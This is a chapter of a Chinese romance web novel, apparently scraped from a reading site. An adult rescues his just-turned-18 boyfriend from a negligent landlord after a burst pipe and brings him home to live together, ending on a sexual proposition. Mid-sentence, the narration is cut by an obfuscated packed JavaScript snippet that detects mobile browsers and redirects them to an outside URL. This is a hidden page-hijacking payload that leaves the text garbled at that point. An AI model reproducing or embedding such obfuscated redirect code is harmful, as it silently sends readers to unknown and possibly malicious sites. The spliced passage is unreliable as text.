盛熠:【他?除了收水电费的时候,其他时间都装死。我刚住进来的时候,天花板也漏过水,楼上也是房东的房子,他说漏水不严重就不用管,重新做防水要花一大笔钱。我刚给他打过电话了,没人接。】 钟瑾宁忍不住问:【那为什么选择住这儿?】 盛熠:【刚开始手里不宽裕,只能租房。只有他敢租给未成年,但要一次性收两年的房租。】 盛熠:【我想要一个不会赶我出去的房间。】 钟瑾宁的心尖被戳了下。 他走到了院落门口,姥姥已经午睡起来了,正在翻着竹编圆簸箕晒的草药。 “瑾宁,晚上想吃什么?” 姥姥笑眯眯地问。 钟瑾宁回了神,道:“姥姥,我今天可能得先走了,下次再回来看您。” 姥姥惊讶地啊一声:“有什么急事吗?” 钟瑾宁点了下头。 他进屋去拿车钥匙,姥姥把冰箱里的桑葚提给他,突然明白过来,问:“因为那个小朋友?” 钟瑾宁嗯一声。 姥姥追问:“多大的小朋友啊?” 钟瑾宁道:“刚成年。” “这么小啊。”姥姥咂舌,“年龄太小了,不会疼人。” 车子就停在院外,钟瑾宁上了车,笑道:“没关系,我疼他。” 19.同居 透明的水珠从天花板滴落,在地砖上蓄积的水池掀起一圈圈涟漪。 物业和修水管的师傅踩着水进进出出,白色地砖上印满了黑花花的脚印。 楼下租户站在门外吵吵,恼怒的声音在狭窄的楼道里震天响:“我们那儿的电视,还有柜子都给泡了,床也睡不了!” 盛熠靠在廊道的墙上,下颌线条锋利,掀起眼皮看他:“你冲我嚷也没用,师傅还在修。” 水管师傅在里面问:“联系上房东了吗?这估计是连着楼上楼下的水管爆了,得把墙敲开。” 没房东同意,没人敢敲。 物业举着手机进去:“联系上了!房东说他在外面吃饭,在回来的路上。” 附近围观的邻居越来越多,房东带着一身酒气终于赶过来,听到这水管问题非修不可,问了水管工要多少钱,却大声嚷嚷骗钱,要自己找人来修。 水管师傅掉头就要走,被物业赶紧拉住了。 物业去劝房东:“这楼下还在滴水呢,赶紧修吧。这个师傅我认识好几年了,收费没问题。” 房东点头应了,水管工才臭着脸进去了。 房东又指着盛熠:“房子租给你的时候好好的,现在出了问题,得你负责!” 盛熠抱着手臂,冷笑:“我以前明确跟你说过房子有漏水的问题,聊天记录有证实,我尽了通知义务,是你没有及时处理。现在怪我头上?” 楼下租户:“你们之间扯皮我不管,我那儿泡坏的电视机和柜子,还有那床垫也不能睡了,赔偿谁出?” 有几家邻居开着门张望,有个老奶奶忍不住说句公道话:“那孩子一看就还是个学生,让人家给说法,这不是欺负人吗?” 又被家人拉进去,不让继续说了。 房东打定主意:“房子漏水又不是我造成的。我一分钱不出,谁爱出谁出。” 他看得清楚——这小孩没家长管,才会淋着雨半夜出来找房子,甚至一住就是住这么长时间。两年的房租说给就给,说明手里有点小钱。 这种没人撑腰的小孩子,脸皮薄,没什么社会经验,最容易拿捏了,被吓几句,就会想着赶紧拿钱息事宁人。 房东的神色愈发得意。 盛熠的眸色变得晦暗冰冷,拿出手机,准备找人来解决。 “房子是你的,不是你两句话就能推托责任的。” 熟悉的声线从身后传来,盛熠的身形一顿,猛地回头看去。 哒、哒—— 脚步声由远及近,在廊道中回响。 身形颀长的青年大步走来,他戴着一副银框眼镜,咖色衬衫配上浅灰色长裤,简约又利落,在灰扑扑的廊道里,仿佛浑身在发光。 盛熠的心脏以一种疯狂的频率跳动冲击,胸口都在轻微地震动,喃喃地喊:“哥哥?” 他甚至怀疑自己出现了幻觉。 “嗯。” 钟瑾宁应了声,走到盛熠的身边,握住他的手。 他抬眼看向房东,问:“租房合同呢?当初你们应该有界定维修责任的分配吧?” 房东被钟瑾宁的气势唬住,愣道:“合同上没写……” 钟瑾宁平静道:“既然合同上没有注明,那就按照法律来,由出租人履行租赁物的维修义务,房子漏水,你承担全部责任。” 房东回过神来,胡搅蛮缠:“那不修了,房子现在不是我住,他付了房租,住成什么样是他的事!——” “你对外租房,在房屋租赁管理所备案了吗?每年按时缴税了吗?不止一套房子在出租的话,你偷税漏税的数额不小吧。” 钟瑾宁的声音冷淡,打断了他的话:”这栋楼民商两用,出租房屋必须配套消防设施,这儿有吗?” 房东一下子酒醒了。 “不能平心静气说话,那就从税务部门到消防部门,都走一趟。或者我在线上提起诉讼,我们去法院继续说也行。” 钟瑾宁的语速很稳:“我家盛一租你的房子,付了房租,不是来这儿受气的。” 房东满脸堆笑:“哪有这么严重,里面还在修呢,说不定要不了几个钱,这样吧,我吃点亏出了——和气生财嘛。他在这儿住了这么久了,还有半年房租才到期,这以后还要经常见面的,互相理解。” 从钟瑾宁出现开始,盛熠的目光就紧紧盯着他,眼眸灼亮得惊人,半点没听他们在说什么。 钟瑾宁道:“他不住了。” 房东惊讶:“啊?” “我说——他不住了。后面预付的租金,请你一分不少地原路退还。” 钟瑾宁说完了,才想起自己还没问过旁边少年的意见,转过头,放轻了声音,哄着道:“盛一,我们不住这里了好不好?” 盛熠的眼睛亮晶晶的,毫不犹豫地点头:“好,我听哥哥的。” 房东在这楼里名下对外租了十几套房,不想惹上麻烦,只想赶紧送走他们,忍气吞声:“好好,当时盛熠给的现金,我线上转给他。” 楼下租户冒出来:“我那儿怎么说?” 房东没好气道:“这儿搞好了,我跟你一起下去,该修的修,该赔的赔。行吧?” 钟瑾宁轻轻地捏了下盛熠的手,又放开,道:“去收拾东西。” 盛熠乖乖进屋,去收拾东西了。 少年的东西很少,就桌上几本书,加上一些衣服。 钟瑾宁还看到了在柜子上的哆啦A梦气球,气已经跑完了,扁扁地贴着墙。 他见盛熠要去拿气球,道:“盛一,气球我们不要了。” “要的。”盛熠固执道,“这是哥哥买给我的。” 少年把扁扁的多啦A梦气球卷吧卷吧,塞进了书包里。 钟瑾宁道:“那洗漱物品都不要了,我给你买新的。” 少年这回点头:“好。” 房东在那里算账,心疼到手还飞了的钱,和钟瑾宁争论:“他不住了,我得叫人来打扫卫生,扣个两百不过分吧?” 钟瑾宁不想和房东计较这点:“行,扣了打扫的钱,剩下的该多少是多少,转回给他。” 盛熠收拾完自己的东西,也就一个书包和一个小行李箱。 确定房东把剩下的房租钱转给盛熠后,钟瑾宁把人给带走了,把烂摊子甩回给房东。 电梯里,盛熠一瞬不瞬地盯着钟瑾宁,问:“哥哥,你还戴眼镜啊?” “是墨镜。开车回来有段路碰上太阳直射,拿来挡光的。” 三个小时的车程,被他一路紧赶慢赶,硬生生被压缩到了两小时半。 他在附近下了车,连墨镜也来不及摘,直接上楼,奔着少年那儿去了。 钟瑾宁微微低头,银边镜片闪过紫色的光,他伸手想帮盛熠拿书包,却被盛熠躲过去了。 盛熠道:“哥哥,我自己拿。” 钟瑾宁嗯一声。 盛熠又盯着钟瑾宁,视线来回地在他的墨镜上打转。 钟瑾宁问:“喜欢这副墨镜?” 盛熠点点头:“哥哥戴这副墨镜特别好看。” 钟瑾宁笑了,摘下墨镜戴在盛熠的脸上,看了看,点头道:“你戴上也很帅,送你了。” 盛熠碰了碰镜框边,声音黏黏糊糊:“谢谢哥哥。” 他是因为钟瑾宁戴了这副墨镜,所以爱屋及乌觉得这副墨镜好看,但是抗拒不了钟瑾宁见他喜欢就送给他的纵容态度,也不想解释了。 车辆就停在路边上,运气好,没碰到交警过来贴条。 盛熠把行李箱和背包放在后备箱,上了副驾。 钟瑾宁坐在驾驶座上,在手机导航输入公寓名字,发动引擎,朝目的地开去。 盛熠想起来问:“哥哥,你不是在姥姥家吗?怎么突然回来了?” 钟瑾宁道:“回来给你带桑葚。” 盛熠道:“哥哥骗我。” 钟瑾宁偏头看他一眼:“我怎么骗你了?” “哥哥是担心我,怕我被欺负,回来给我撑场子的。”盛熠的唇角翘起来,“我知道。” 钟瑾宁望着前面,轻轻地笑了声:“知道还问?” 盛熠的胸口涨涨的,热热的,盯着钟瑾宁的目光像是快燃起火来,哑声道:“哥哥,我想抱你。” 正好碰到红灯,车辆平稳停下。 钟瑾宁转过头,撞进了盛熠炽热的视线,搭在方向盘上的手指蜷缩一下,低声道:“现在不行。” 盛熠的喉咙溢出一声含糊的呜咽声,黑眸湿漉漉的,带着祈求。 救命。 钟瑾宁脸红心跳地移开视线,重新专注在面前的道路上,怕自己和少年再对视一秒,就会败下阵来,答应他的所有请求。 车辆开至公寓的地下停车场停稳。 盛熠去车后备箱拿行李箱和背包,钟瑾宁下了车,打开后座拿了放在上面的野桑葚,忽然想起自己还没和姥姥报平安。 他给姥姥发了条语音消息,姥姥看到消息打电话过来的时候,钟瑾宁带着盛熠刚出电梯。 “嗯我已经回来了,没什么事,放心吧。” 钟瑾宁进了门,顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15177829|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手将桑椹放在台面上,盛熠后一步拉着行李箱进来,把门给关上了。 电话里传来姥姥的絮叨:“你走得太急了,今年地里的荠菜长得好,我本来打算包两盒饺子让你给带回去的。野葱也香……” 钟瑾宁正听着,后面却忽然撞来一个怀抱。 少年滚烫的身体从后贴着他,两条手臂往前一拦,蛮横地圈上了他的腰身。 钟瑾宁猝不及防被盛熠从后面抱住,手都抖了下,差点没拿稳手机。 姥姥还在和他说话:“你这今天开车过来又开车回去,肯定累坏了吧?吃晚饭没有啊?” 钟瑾宁只好当身后的抱抱熊不存在,继续和姥姥说话:“还好,不是很累。还没吃晚饭。” 姥姥心疼道:“这个点了还没吃啊?那我不和你说了,你赶紧弄点东西吃。” 钟瑾宁应:“行,姥姥您也早点休息,等哪个周末有空了,我再回来看您。” 电话挂断,钟瑾宁见盛熠还抱着自己,没有半分要松开的意思,拍了拍圈在自己腰身的手臂,问:“不饿?” “饿。” 盛熠闷闷地答。 少年低下头,脸埋在钟瑾宁的后颈上,应和似的,咬了他一口。 不轻不重的,小狗咬着玩似的力度。 钟瑾宁的后颈传来微微的濡湿感,不疼,但是感觉很怪。 他下意识偏头躲了躲,耳朵尖也红了:“好了,别闹了。茴香饺子你能吃吗?” 盛熠松开了手,点头:“能的。” 钟瑾宁笑道:“行,那你先放行李,我去厨房里下饺子。你来了正好,冰箱里的饺子要在下次回姥姥那儿之前给吃完,这下解决起来就轻松多了。” 盛熠犹豫了下,点头:“那我先打扰哥哥一段时间,等我找到更合适的地方……” 钟瑾宁的神色变得古怪。 盛熠语气一顿,问:“怎么了?” 钟瑾宁无奈道:“平时不是挺聪明的吗?我都把你带回来了,还能把你赶出去?” 盛熠没反应过来。 钟瑾宁去了冰箱前,打开左侧准备拿饺子,从后却伸来一只手,把冰箱门关上了。 他神色惊讶,回头看去。 盛熠站得很近,一只手抵着冰箱门,紧盯着钟瑾宁,走近一步,呼吸也变得急促,语出惊人:“哥哥,你要包养我吗?” 钟瑾宁往后退,后背抵住了冰箱门,不可置信:“不是,怎么就包养了?” 和十八岁高中生谈恋爱对他来说已经够出格了,要是换成包养,那还得了? 盛熠眼眸低垂,望着近乎被他禁锢在怀里的钟瑾宁,声音发哑:“那哥哥把我带回家,是想和我同居?” 同居这个词也好不到哪里去,但听起来比包养说得过去。 钟瑾宁被他看得不自在,一时想不到更好的词,被迫承认:“嗯……是,想和你同居……” 他的本意明明是收留盛熠,怎么说出来变得那么奇怪? 钟瑾宁的脸颊变烫,道:“好了,别挡着了。” 盛熠注视了他两秒,却忽然低了头,把他抱住了。 是个结结实实的怀抱,热烫又有力。 钟瑾宁愣了两秒,回抱住他,手掌拍了盛熠的后背两下,道:“让我先去做晚饭好不好?吃完再抱。” 盛熠闷声道:“不好。” 钟瑾宁问:“不是说饿吗?” “饿。”盛熠道,“但想抱哥哥。” 钟瑾宁拿他实在没办法,只好拖着人去拿饺子,进厨房。 他问:“喜欢吃水煮的还是煎饺?” 盛熠道:“煎饺。” 平底锅底洒了一点油,很快滋滋地热起来。 钟瑾宁用筷子翻着煎得微微金黄的饺子,少年高他大半个头,站后面圈抱着他,动作透着毫不掩饰的依赖和眷恋。 钟瑾宁刚开始还有些不习惯,后来也随他了,只当身后多了一个大型玩偶。 盛熠小声问:“哥哥,今晚可以做吗?” 钟瑾宁全副心思都在煎饺上,随口问:“做什么?” 盛熠道:“做.爱。” 钟瑾宁被吓得掉了一只筷子在台面上,又赶紧给捡回来了。 “你……” 他慌乱地想往旁边躲,被盛熠察觉到了。 按在钟瑾宁小腹上的手掌稍微用力,两人刚分开一点的距离被按了回去,身体紧密相贴。 盛熠收紧了抱着他的力度,声音委屈:“哥哥为什么要跑?不喜欢我吗?”